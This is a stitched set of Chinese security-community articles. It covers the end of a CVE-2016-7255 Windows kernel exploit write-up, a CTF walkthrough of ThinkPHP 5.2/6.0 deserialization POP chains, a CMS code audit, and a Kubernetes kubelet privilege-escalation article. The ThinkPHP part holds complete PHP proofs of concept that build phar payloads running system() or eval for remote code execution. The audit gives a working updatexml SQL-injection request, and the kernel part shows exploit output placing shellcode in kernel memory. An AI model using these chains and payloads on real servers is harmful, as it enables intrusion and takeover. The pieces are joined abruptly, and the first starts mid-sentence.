0x20692000+虚拟地址的第11-0位：0x2692000。在这种情况下，这表示一个物理页中的偏移，并且也表示该页的大小为4kb，0x0-0xfff是0-4095或是表示4kb。
windbg中的!pte命令会提供相同的信息：
!pte - windbg
下面是python代码，它实现了windbg中!pte的功能，并且能够使用不同的自引用索引（这对于计算Windows 10 build
1607中的信息很有用）
#!/usr/bin/python
import sys
PML4_SELF_REF_INDEX = 0x1ed
def get_pxe_address(address):
entry = PML4_SELF_REF_INDEX;
result = address >> 9;
lower_boundary = (0xFFFF << 48) | (entry << 39);
upper_boundary = ((0xFFFF << 48) | (entry << 39) + 0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8;
result = result | lower_boundary;
result = result & upper_boundary;
return result
if (len(sys.argv) == 1):
print "Please enter a virtual address and PML4 self ref index in hex format"
print "The PML4 self ref index is option, the static idex of 0x1ed will be used"
print "if one is not entered"
print ""
print sys.argv[0] + " 0x1000 0x1ed"
sys.exit(0)
address = int(sys.argv[1], 16)
if (len(sys.argv) > 2):
PML4_SELF_REF_INDEX = int(sys.argv[2], 16)
pt = get_pxe_address(address)
pd = get_pxe_address(pt)
pdpt = get_pxe_address(pd)
pml4 = get_pxe_address(pdpt)
selfref = get_pxe_address(pml4)
print "Virtual Address: %s" % (hex(address))
print "Self reference index: %s" % (hex(PML4_SELF_REF_INDEX))
print "n"
print "Page Tables"
print "Self Ref: t%s" % (hex(selfref))
print "Pml4:tt%s" % (hex(pml4))
print "Pdpt:tt%s" % (hex(pdpt))
print "Pd:tt%s" % (hex(pd))
print "PT:tt%s" % (hex(pt))
使用示例：
./pagetables.py 0x0 0x1ed
Virtual Address: 0x0
Self reference index: 0x1ed
Page Tables
Self Ref: 0xfffff6fb7dbedf68L
Pml4: 0xfffff6fb7dbed000L
Pdpt: 0xfffff6fb7da00000L
Pd: 0xfffff6fb40000000L
Pt: 0xfffff68000000000L
./pagetables.py 0xfffff68000000000 0x1ed
Virtual Address: 0xfffff68000000000L
Self reference index: 0x1ed
Page Tables
Self Ref: 0xfffff6fb7dbedf68L
Pml4: 0xfffff6fb7dbedf68L
Pdpt: 0xfffff6fb7dbed000L
Pd: 0xfffff6fb7da00000L
Pt: 0xfffff6fb40000000L
!pte in Windows 10 1607
在Windows 10 build 1607（周年版）中，windbg还不了解随机化pml4自引用地址
通过使用上面的python脚本，可以看出windbg没有考虑随机化的pml4自参考索引
./pagetables.py 0x00007ff6dd800000
Virtual Address: 0x7ff6dd800000
Self reference index: 0x1ed
Page Tables
Self Ref: 0xfffff6fb7dbedf68L
Pml4: 0xfffff6fb7dbed7f8L
Pdpt: 0xfffff6fb7daffed8L
Pd: 0xfffff6fb5ffdb760L
PT: 0xfffff6bffb6ec000L
如上所述，漏洞（CVE-2016-7255）允许我们使用0x4对值进行异或。这可以启用对PML4e自引用地址的用户模式访问，所以在用户空间可以访问页表，这反过来允许我们读取和修改内存中的任何数据。
注意在Before部分中，第2位设置为零，由KW-V中的“K“或”kenrel”表示。在运行漏洞Exp后，以地址0xFFFFF6FB7DBEDF68为目标，值0x30FED863被翻转为0x30FED867，使得能够在用户模式访问，由UW-V中的“U“或”user”表示。
Windows 8.1
之前
之后
要在windbg中复制exploit正在进行的操作，可以使用以下命令：
r $t1 = FFFFF6FB7DBEDF68; eq $t1 poi($t1) |0x4
创建新PT来进行读写
现在，该条目已被改为允许用户模式访问，Enrique Nissim提出了一个方法：创建新的使用物理地址和属性进行更新的页表，从而实现读、写任意内存地址。
在这个例子中，地址0xffffffffffd00510只能从内核模式访问，这是由每个条目的第0x63（位7-0：“01100011”，注意第2个位为0）决定的。通过使用Enrique的代码，我们可以创建一个页表，来从用户模式“0x67”（位7-0：“01100111”，通知位2现在是1）访问，并指向与内核只有内存：0x1163或在这种情况下为0x1000（记住清零位11-0）。
之前
之后
漏洞Exp的输出
这是来自在Windows 7上运行的Exp的输出。
创建一个页表，允许读取haldispatchtable+0x8的值。
创建一个页表，允许将shellcode写入内核态内存，绕过SMEP和SMAP，并删除页表上的NX位以允许代码执行。
创建一个页表，允许覆盖haldispatchtable+0x8，这将触发代码执行。
读取将被替换的原始值（haldispatchtable+0x8）
On a Windows 7 box:
[*] Getting Overwrite pointer: fffff80002c42c60
[+] Selected spurious PML4E: fffff6fb7dbedf00
[+] Spurious PT: fffff6fb7dbe0000
-------------------------------------------------- [+] Content pml4e fffff6fb7dbedf80: 199063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf00: 199067
[+] Content pdpte fffff6fb7dbf0000: 198063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf00: 198067
[+] Content pdpe fffff6fb7e0000b0: 1dc063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf00: 1dc067
[+] Content pte fffff6fc00016210: 8000000002c42963
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf00: 2c42967
OverwriteAddress: fffff6fb7dbe0c60
写入shellcode和删除NX位的输出：
Original OverwriteTarget pointer: fffff80002a438e8
[+] Selected spurious PML4E: fffff6fb7dbedf08
[+] Spurious PT: fffff6fb7dbe1000
-------------------------------------------------- [+] Content pml4e fffff6fb7dbedff8: 1ec063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf08: 1ec067
[+] Content pdpte fffff6fb7dbffff8: 1eb063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf08: 1eb067
[+] Content pdpe fffff6fb7ffffff0: 1ea063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf08: 1ea067
[+] Content pte fffff6ffffffe800: 100163
*** Patching the original location to enable NX...
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf08: 100167
HAL address: fffff6fb7dbe1000
[+] w00t: Shellcode stored at: ffffffffffd00d50
覆盖exec目标的输出：
[+] Selected spurious PML4E: fffff6fb7dbedf10
[+] Spurious PT: fffff6fb7dbe2000
-------------------------------------------------- [+] Content pml4e fffff6fb7dbedf80: 199063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf10: 199067
[+] Content pdpte fffff6fb7dbf0000: 198063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf10: 198067
[+] Content pdpe fffff6fb7e0000b0: 1dc063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf10: 1dc067
[+] Content pte fffff6fc00016210: 8000000002c42963
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf10: 2c42967
Patch OverwriteTarget: fffff6fb7dbe2c68 with ffffffffffd00d50
**MS16-135**
Microsoft于2016年11月8日发布了补丁MS16-135，以解决此漏洞。 McAfee有一个篇很好的文章讲述了如何修复此漏洞。
**开发示范**
Windows 7 SP1 Workstation
Windows 8.1 Workstation
Windows 10 Build 1511 Workstation
Windows 2012 R2 Server | 社区文章 |
# Thinkphp 利用链
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
在N1CTF中，Smi1e师傅出了一道thinkphp的反序列化链挖掘的题目，当时没有做出来，赛后复盘各位师傅的利用链学习总结。
## 安装
使用composer来部署环境
composer create-project topthink/think=5.2.x-dev v5.2
composer create-project topthink/think=6.0.x-dev v6.0
## 正文
一般来说，反序列化的入口为
__destruct析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__wakeupunserialize()执行前会检查是否存在一个__wakeup()方法，如果存在会先调用
__toString 当一个对象被反序列化后又被当做字符串使用
总的调用过程：
Attribute.php:480, think\model\Pivot->getValue()
Attribute.php:457, think\model\Pivot->getAttr()
Conversion.php:173, think\model\Pivot->toArray()
Conversion.php:252, think\model\Pivot->toJson()
Conversion.php:268, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
最后在getValue()处进行可变函数调用导致RCE
## 5.2.x （一）
根据Smi1e师傅的POC
<?php
namespace think\process\pipes {
class Windows
{
private $files;
public function __construct($files)
{
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $append = array("Smi1e" => "1");
}
trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");
public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct($system)
{
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("ls");
$payload = new think\process\pipes\Windows($Conver);
@unlink("phar3.phar");
$phar = new Phar("phar3.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($payload); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($payload));
}
?>
调试环境：
tp5.2.0rc1
php7.3
xdebug2.7.0
调试过程：
首先根据POC生成phar文件，放入public目录，在index.php中增加以下语句来触发反序列化，关于什么方法可以触发反序列化可以参考以下两篇文章，讲得很详细了，由于复现的时候题目环境已经关闭因此在这里我是自己构造的反序列化触发，预期解是通过Rogue
Mysql Server让其执行LOAD DATA LOCAL INFILE语句即可触发phar反序列化。
<https://xz.aliyun.com/t/2958>
<https://paper.seebug.org/998/>
<https://xz.aliyun.com/t/6057#toc-6>
首先进入
Windows.php:59, think\process\pipes\Windows->__destruct()
调用removeFiles()方法
Windows.php:163, think\process\pipes\Windows->removeFiles()
因为$this->files是Windows类中的一个private变量，我们可以通过重写Windows的__construct函数来控制该参数
调用file_exists()方法
Windows.php:163, file_exists()
此处使用file_exists来判断$filename是否存在，在file_exists中，$filename会被当作string类型处理。
如果我们构造的Windows类中的$files为一个包含__toString()方法的对象，该__toString()方法将会被调用。
调用__toString()方法
Conversion.php:268, think\model\Pivot->__toString()
调用toJson()方法
Conversion.php:252, think\model\Pivot->toJson()
调用toArray()方法
Conversion.php:129, think\model\Pivot->toArray()
其中$this->data和$this->relation都是数组类型，通过
array_merge以后得到$data为
$item[$key]的值为getAttr($key)的值
调用getAttr()方法
Attribute.php:450, think\model\Pivot->getAttr()
$value的值通过getData($name)也就是getData(“Smile”)
调用getData()方法
Attribute.php:268, think\model\Pivot->getData()
调用getRealFieldName方法
Attribute.php:179, think\model\Pivot->getRealFieldName()
$this->strict为判断是否严格字段大小写的标志，默认为true
因此getRealFieldName默认返回$name参数的值
如果$this->data存在$fieldName键名，则返回对应的键值，此处为”ls”
调用getValue()
Attribute.php:472, think\model\Pivot->getValue()
withAttr的值是可控的
trait Attribute
{
private $data;
private $withAttr = array("Smi1e" => "system");
public function get($system)
{
$this->data = array("Smi1e" => "$system");
}
}
因此$closure的值可控，设置为system
然后进行可变函数调用
system ( string $command [, int &$return_var ] ) : string
验证一下：
结果验证：
$closure = $this->withAttr[$fieldName];
$value = $closure($value, $this->data);
第一个POC需要寻找一个可以接受两个参数的php函数比如system，而且需要想办法去控制这两个参数
## 5.2.x （二）
<?php
namespace think\process\pipes {
class Windows{
private $files = [];
function __construct($files)
{
$this->files = $files;
}
}
}
namespace think\model\concern {
trait Conversion{
protected $visible;
}
trait RelationShip{
private $relation;
}
trait Attribute{
private $withAttr;
private $data;
}
}
namespace think {
abstract class Model{
use model\concern\RelationShip;
use model\concern\Conversion;
use model\concern\Attribute;
function __construct($closure)
{
$this->data = array("wh1t3p1g"=>[]);
$this->relation = array("wh1t3p1g"=>[]);
$this->visible= array("wh1t3p1g"=>[]);
$this->withAttr = array("wh1t3p1g"=>$closure);
}
}
}
namespace think\model {
class Pivot extends \think\Model{
function __construct($closure)
{
parent::__construct($closure);
}
}
}
namespace {
require __DIR__ . '/../vendor/autoload.php';
$code = 'phpinfo();';
$func = function () use ($code) {eval($code);};
$closure = new \Opis\Closure\SerializableClosure($func);
$pivot = new \think\model\Pivot($closure);
$windows = new \think\process\pipes\Windows([$pivot]);
@unlink("phar4.phar");
$phar = new Phar("phar4.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($windows); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($windows));
}
?>
这个POC是wh1t3p1g师傅找到的，跟第一个链的调用链其实是一样的
SerializableClosure.php:109, Opis\Closure\SerializableClosure->__invoke()
Attribute.php:481, think\model\Pivot->getValue()
Attribute.php:457, think\model\Pivot->getAttr()
Conversion.php:171, think\model\Pivot->toArray()
Conversion.php:252, think\model\Pivot->toJson()
Conversion.php:268, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
不同的是这一POC使用vendor/opis/closure/src/SerializableClosure.php来构造可利用的匿名函数，避开特定参数的构造，\Opis\Closure可用于序列化匿名函数，使得匿名函数同样可以进行序列化操作。
在中有__invoke()函数并且里面有call_user_func函数，当尝试以调用函数的方式调用一个对象时，__invoke()方法会被自动调用。
call_user_func_array($this->closure, func_get_args());
这意味着我们可以序列化一个匿名函数，然后交由上述的$closure($value,
$this->data)调用，将会触发SerializableClosure.php的__invoke执行。
这个思路很赞！！！
## 5.2.x （三）
这个利用链在Attribute.php:472,
think\model\Pivot->getValue()之前的利用链都是相同的，如果能另外的利用链可以顺着参考文章第三篇的思路进行发掘，寻找一个类满足以下2个条件
1. 该类中没有”visible”方法
2. 实现了__call方法
这样才可以触发__call方法，那么直接搜索关键字public function
__call，因为一般PHP中的__call方法都是用来进行容错或者是动态调用，所以一般会在__call方法中使用
__call_user_func($method, $args)
__call_user_func_array([$obj,$method], $args)
但是public function __call($method, $args)我们只能控制
$args，在参考文章三中找到了think-5.1.37/thinkphp/library/think/Request.php，但是5.2.x不适用，重新寻找
\think\Db->__call()
在\think\Db.php中存在__call方法，其中会调用call_user_func_array来进行容错
$this->config和$this->connection均可控，至此，我们可以实例化任意符合条件的类，比如
class Db{
protected $config = [];
protected $connection;
function __construct($connection){
$this->config["query"] = "\\think\\Url";
$this->connection = $connection;
}
}
\think\Url
寻找一个存在漏洞的类
public function __construct(App $app, array $config = [])
{
$this->app = $app;
$this->config = $config;
if (is_file($app->getRuntimePath() . 'route.php')) {
// 读取路由映射文件
$app->route->import(include $app->getRuntimePath() . 'route.php');
}
}
在\think\Url.php中该构造器引入了RuntimePath下的route.php文件，因为这道题是允许上传文件的，所以只要在可上传的目录下上传一个route.php的webshell即可。
$app为可控变量，直接修改$runtimePath的内容即可控制$app->getRuntimePath()的值
因此如下构造App对象
class App{
protected $runtimePath;
public function __construct(string $rootPath = ''){
$this->rootPath = $rootPath;
$this->runtimePath = "/tmp/";
$this->route = new \think\route\RuleName();
}
这个思路也很赞啊！！！！师傅们太强了。
1. vendor/topthink/framework/src/think/process/pipes/Windows.php __destruct ->removeFiles ->file_exists 强制转化字符串filename，这里的filename可控 可触发__toString函数，下一步找可利用的__toString
2. vendor/topthink/framework/src/think/model/concern/Conversion.php__toString -> toJson -> toArray->appendAttrToArray->$relation调用不存在的函数，触发__call
3. vendor/topthink/framework/src/think/Db.php__call -> new $class($this->connection) 调用任意类的__construct函数
4. vendor/topthink/framework/src/think/Url.php构造App类，达到include任意文件的效果
POC：
<?php
namespace think\route {
class RuleName{
}
}
namespace think{
class App{
protected $runtimePath;
public function __construct(string $rootPath = ''){
$this->rootPath = $rootPath;
$this->runtimePath = "/tmp/";
$this->route = new \think\route\RuleName();
}
}
class Db{
protected $config = [];
protected $connection;
function __construct($connection){
$this->config["query"] = "\\think\\Url";
$this->connection = $connection;
}
}
}
namespace think\process\pipes {
class Windows{
private $files ;
private $fileHandles = [];
function __construct($files){
$this->files = $files;
}
}
}
namespace think\model\concern{
trait Conversion{
protected $visible ;
protected $hidden ;
private $data ;
private $relation ;
protected $append ;
}
}
namespace think{
abstract class Model{
use \think\model\concern\Conversion ;
public function __construct($relation){
$this->visible = array('t'=>"fuck");
$this->hidden = [];
$this->data = [];
$this->relation = array("x"=>$relation);
$this->append = array("x"=>array());
}
}
}
namespace think\model {
class Pivot extends \think\Model{
public function __construct($relation){
parent::__construct($relation);
}
}
}
namespace {
$connection = new \think\App();
$relation = new \think\Db($connection);
$pivot = new \think\model\Pivot($relation);
$files = array("0"=>$pivot);
$window = new \think\process\pipes\Windows($files);
@unlink("phar5.phar");
$phar = new Phar('phar5.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>'); //设置stub，增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$phar -> setMetadata($window); //将自定义meta-data存入manifest
$phar -> stopBuffering();
}
这个POC的利用限制较大，不过思路很赞
Url.php:43, think\Url->__construct()
Db.php:203, think\Db->__call()
Conversion.php:196, think\Db->append()
Conversion.php:196, think\model\Pivot->appendAttrToArray()
Conversion.php:179, think\model\Pivot->toArray()
Conversion.php:252, think\model\Pivot->toJson()
Conversion.php:268, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
调试过程：
在调用toarray之前的步骤和前面两个POC的调用是一样的
Conversion.php:179, think\model\Pivot->toArray()
Conversion.php:252, think\model\Pivot->toJson()
Conversion.php:268, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()
之后开始调用appendAttrToArray()
Conversion.php:196, think\model\Pivot->appendAttrToArray()
Conversion.php:196, think\Db->append()
Db对象尝试调用append方法，因为Db不存在append方法所以会触发__call()
Db.php:201, think\Db->__call()
$query = new $class($this->connection);
Url.php:44, think\Url->__construct()
## 6.0.x （四）
tp在v6.0.x取消了Windos类，但是前面的利用链的函数动态调用的反序列化链后半部分仍然可以使用，意思是得寻找新的起点，从__destruct和__wakeup等等开始找起。
<?php
/**
* Created by PhpStorm.
* User: wh1t3P1g
*/
namespace think\model\concern {
trait Conversion{
protected $visible;
}
trait RelationShip{
private $relation;
}
trait Attribute{
private $withAttr;
private $data;
protected $type;
}
trait ModelEvent{
protected $withEvent;
}
}
namespace think {
abstract class Model{
use model\concern\RelationShip;
use model\concern\Conversion;
use model\concern\Attribute;
use model\concern\ModelEvent;
private $lazySave;
private $exists;
private $force;
protected $connection;
protected $suffix;
function __construct($obj, $closure)
{
if($obj == null){
$this->data = array("wh1t3p1g"=>[]);
$this->relation = array("wh1t3p1g"=>[]);
$this->visible= array("wh1t3p1g"=>[]);
$this->withAttr = array("wh1t3p1g"=>$closure);
}else{
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->data = array("wh1t3p1g"=>[]);
$this->connection = "mysql";
$this->suffix = $obj;
}
}
}
}
namespace think\model {
class Pivot extends \think\Model{
function __construct($obj, $closure)
{
parent::__construct($obj, $closure);
}
}
}
namespace {
require __DIR__ . '/../vendor/autoload.php';
$code = 'phpinfo();';
$func = function () use ($code) {eval($code);};
$closure = new \Opis\Closure\SerializableClosure($func);
$pivot1 = new \think\model\Pivot(null,$closure);
$pivot2 = new \think\model\Pivot($pivot1,$closure);
@unlink("phar6.phar");
$phar = new Phar("phar6.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($pivot2); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
echo urlencode(serialize($pivot2));
}
找一条可以触发toString的路径即可，在Model.php:503, think\model\Pivot->checkAllowFields()中
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();// 最终的触发__toString的函数
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
// ...
}
调用链如下，可以看到只是前半部分的调用链不一样，后面的利用__toString做跳板的调用链是一样的，太强了思路
SerializableClosure.php:109, Opis\Closure\SerializableClosure->__invoke()
Attribute.php:497, think\model\Pivot->getValue()
Attribute.php:470, think\model\Pivot->getAttr()
Conversion.php:173, think\model\Pivot->toArray()
Conversion.php:244, think\model\Pivot->toJson()
Conversion.php:249, think\model\Pivot->__toString()
Model.php:297, think\model\Pivot->db()
Model.php:503, think\model\Pivot->checkAllowFields()
Model.php:559, think\model\Pivot->updateData()
Model.php:474, think\model\Pivot->save()
Model.php:978, think\model\Pivot->__destruct()
## 总结
有同学可能会疑问，找利用链之后怎么用呢，找到利用链只是一部分，还需要满足以下条件：
1. 存在含有payload的phar文件，上传或者远程下载都可以。
2. 存在反序列化的操作，这些操作不单单是unserialize还可以是文章中提到的包括LOAD DATA LOCAL INFILE等操作。
通过这四个POP的构造，也对thinkphp框架加深了理解，可以尝试尝试自己挖掘新的POP链~
## 参考
1. <https://github.com/Nu1LCTF/n1ctf-2019/tree/master/WEB/sql_manage>
2. <https://github.com/opis/closure>
3. [https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/?from=timeline&isappinstalled=0](https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/?from=timeline&isappinstalled=0)
4. <http://blog.0kami.cn/2019/09/10/thinkphp-6-0-x-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%A9%E7%94%A8%E9%93%BE/> | 社区文章 |
# 前言
菜鸟学习一下代码审计，加深对漏洞原理的理解。
# 文件结构
源码是基于ThinkPHP3.2.2框架开发的企业网站内容管理系统
其中App文件夹下的文件将是审计的重点。
# 前台sql注入
大部分文件在获取参数的时候会进行一次正则匹配
对传入不是整数的参数程序会直接结束，有效的过滤了一部分可能产生注入的地方。
在\App\Home\Controller\UserController.class.php文件下却发现
do_name()方法将post传入的id带入了find查询，我们都知道tp3是有爆出过注入的，因此在这构成注入
http://www.a.com/index.php?s=/user/do_name.html
id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
注入条件是要前台登录。
该文件的do_detail()方法，do_pass()方法也有着相同的问题
继续对源码阅读，并没有发现前台有其他漏洞。可能是我技术菜
# 后台sql注入
后台文件使用zend加密，使用在线解密网站解密文件
<http://dezend.qiling.org/free/>
\App\Manage\Controller\PhotoController.class.php
ID通过get请求获取带入where查询，并且无引号保护造成注入，
后台其他文件造成注入的原因基本同理，
# 总结
通过代码分析更容易理解漏洞，该源码后台还有一处任意文件删除，网上已有分析，就没有写
tp3注入原理参考
<https://xz.aliyun.com/t/2629> | 社区文章 |
**作者：云鼎实验室
原文链接：<https://mp.weixin.qq.com/s/qLEjK1sx6P2KG9YgGkxqJg>**
## 背景
本文翻译整理自rhino安全实验室：近些年针对kubernetes的攻击呈现愈演愈烈之势，一旦攻击者在kubernetes集群中站稳脚跟就会尝试渗透集群涉及的所有容器，尤其是针对访问控制和隔离做的不够好的集群受到的损害也会越大。例如由unit
42研究人员检测到的TeamTNT组织的恶意软件Siloscape就是利用了泄露的AWS凭证或错误配置从而获得了kubelet初始访问权限后批量部署挖矿木马或窃取关键信息如用户名和密码，组织机密和内部文件，甚至控制集群中托管的整个数据库从而发起勒索攻击。根据微步在线的统计上一次遭受其攻击的IP地址90%以上属于中国，因此需要安全人员及时关注并提前规避风险。Siloscape具体攻击流程如图1所示。
_图 1-Siloscape攻击流程_
Kubernetes集群中所有的资源的访问和变更都是通过kubernetes API Server的REST
API实现的，所以集群安全的关键点就在于如何识别并认证客户端身份并且对访问权限的鉴定，同时K8S还通过准入控制的机制实现审计作用确保最后一道安全底线。除此之外K8S还配有一系列的安全机制（如Secret和Service
Account等）共同实现集群访问控制的安全，具体请求如图2所示：
_图 2-Kubernetes API请求_
其中用户所控制的kubectl即每个Node节点都会启用的进程，可以把kubelet理解成【Server-Agent】架构中的agent，用来处理Master节点下发到本节点的任务，管理Pod和其中的容器，比如创建容器、Pod挂载数据卷、下载secret、获取容器和节点状态等工作。Kubelet会在API
Server上注册节点信息，定期向Master汇报节点资源使用情况。如果没有做好相关的权限管控或其遭受了任何的攻击都可能导致对k8s集群更广泛的危害。如以下图3操作。
_图 3-Kubectl操作_
## K8S认证鉴权
### 认证阶段（Authentication）
认证阶段即判断用户是否为能够访问集群的合法用户，API Server目前提供了三种策略多种用户身份认证方式，他们分别如下表1：
序号 | 认证策略 | 认证方式
---|---|---
1 | 匿名认证 | Anonymous requests
2 | 白名单认证 | BasicAuth认证
3 | Token认证 | Webhooks、Service Account Tokens、OpenID Connect Tokens等
4 | X509证书认证 | clientCA认证，TLS bootstrapping等
_表 1-认证_
其中X509是kubernetes组件间默认使用的认证方式，同时也是kubectl客户端对应的kube-config中经常使用到的访问凭证，是一种比较安全的认证方式。
### 鉴权阶段（Authorization）
当API Server内部通过用户认证后，就会执行用户鉴权流程，即通过鉴权策略决定一个API调用是否合法，API Server目前支持以下鉴权策略
序号 | 鉴权策略 | 概述
---|---|---
1 | Always | 分为AlwaysDeny和AlwaysAllow，当集群不需要鉴权时选择AlwaysAllow
2 | ABAC | 基于属性的访问控制
3 | RBAC | 基于角色的访问控制
4 | Node | 一种对kubelet进行授权的特殊模式
5 | Webhook | 通过调用外部REST服务对用户鉴权
_表 2-鉴权_
其中Always策略要避免用于生产环境中，ABAC虽然功能强大但是难以理解且配置复杂逐渐被RBAC替代，如果RBAC无法满足某些特定需求，可以自行编写鉴权逻辑并通过Webhook方式注册为kubernetes的授权服务，以实现更加复杂的授权规则。而Node鉴权策略主要是用于对kubelet发出的请求进行访问控制，限制每个Node只访问它自身运行的Pod及相关Service、Endpoints等信息。
### 准入控制（Admission Control）
突破了如上认证和鉴权关卡之后，客户端的调用请求还需要通过准入控制的层层考验，才能获得成功的响应，kubernetes官方标准的选项有30多个，还允许用户自定义扩展。大体分为三类验证型、修改型、混合型，顾名思义验证型主要用于验证k8s的资源定义是否符合规则，修改型用于修改k8s的资源定义，如添加label，一般运行在验证型之前，混合型及两者的结合。
AC以插件的形式运行在API Server进程中，会在鉴权阶段之后，对象被持久化etcd之前，拦截API
Server的请求，对请求的资源对象执行自定义（校验、修改、拒绝等）操作。
## Kubelet认证鉴权
### 认证
Kubelet目前共有三种认证方式:
1.允许anonymous，这时可不配置客户端证书
authentication:
anonymous:
enabled: true
2.webhook，这时可不配置客户端证书
authentication:
webhook:
enabled: true
3.TLS认证，也是目前默认的认证方式，对kubelet 的 HTTPS 端点启用 X509 客户端证书认证。
authentication:
anonymous:
enabled:false
webhook:
enabled: false
x509:
clientCAFile: xxxx
然而在实际环境当你想要通过kubectl命令行访问kubelet时，无法传递bearer
tokens，所以无法使用webhook认证，这时只能使用x509认证。
### 鉴权
kubelet可配置两种鉴权方式分别为AlwaysAllow和Webhook，默认的及安全模式AlwaysAllow，允许所有请求。而Webhook的鉴权过程时委托给API
Server的，使用API Server一样的默认鉴权模式即RBAC。
通常在实际环境中需要我们通过TBAC为用户配置相关权限，包括配置用户组以及其相对应的权限。并最终将用户和角色绑定完成权限的配置。
### TLS bootstrapping
TLS在实际实现的时候成本较高，尤其集群中众多的kubelet都需要与kube-API
Server通信，如果由管理员管理证书及权限，很有可能会因为证书过期等问题出现混乱。这时候Kubelet TLS
Bootstrapping就应运而生了。其主要实现两个功能第一，实现kubelet与kube-API
Server之间的自动认证通信；第二，限制相关访问API Server的权限。
K8s目前默认通过TLS bootstrapping这套机制为每个kubelet配置签名证书确保与API
Server的交互安全。其核心思想是由kubelet自已生成及向API
Server提交自已的证书签名请求文件（CSR），k8s-master对CSR签发后，kubelet再向API
Server获取自已的签名证书，然后再正常访问API Server。具体如图所示：
_图 4-Kubelet TLS bootstrapping工作流程_
## Kubelet提权案例
### 攻击路径
为了演示kubelet提权攻击，下面会展示一个简单的攻击场景，从获取TLS引导凭据开始，最终获得集群中集群管理员的访问权限。
### 攻击步骤
由于Kubelet需要依据凭据与API服务器通信，当攻击者已经控制了集群中部分运行的容器后可以依托这些凭据访问API服务器，并通过提权等手段来造成更大的影响。
1、首先攻击者需要获取到Node权限并找到kubelet TLS引导凭据，见下图：
2、尝试使用TLS凭证检索有关kubernetes节点的信息，由于这些凭据仅有创建和检索证书签名请求的权限即引导凭据用来向控制端提交证书签名请求（CSR）所以通常会看到找不到相关资源。
其中kubectl auth can-i子命令有助于确定当前凭证是否可以执行相关命令。
3、由于权限不足，可以使用get csr尝试成为集群中的假工作节点，这样将允许我们执行更多的命令如列出节点、服务和pod等，但是仍然无法获取更高级别的数据。
我们使用cfssl为假节点生成CSR，同时将其提交至API Server供其自动批准该证书，通常情况下kube-controller-manager设置为自动批准与前缀一致的签名请求，并发出客户证书，随后该节点的kubelet即可用于常用功能。
4、之后我们将批准通过的证书保存，此时即可查看节点信息等相关内容。
5、为了获取更高的权限，我们尝试使用另一个工作节点生成新的CSR，并要求API Server自动通过该证书。
6、我们将新批准的证书保存并以此证书检查相关的pod信息发现有了密钥信息，但是当我们尝试去读取的时候仍然显示权限不足。
7、我们再次尝试其他pod看是否拥有更高级别的权限，重复之前的证书制作并发送至API
Server请求批准，这次权限明显高了许多，我们成功获取到了ca.crt以及token。
8、接下来我们尝试使用该token，设置好环境变量并获取默认命名空间中的所有资源。
9、最后我们检查其角色的绑定，发现该服务账户已于“cluster-admin”角色绑定。
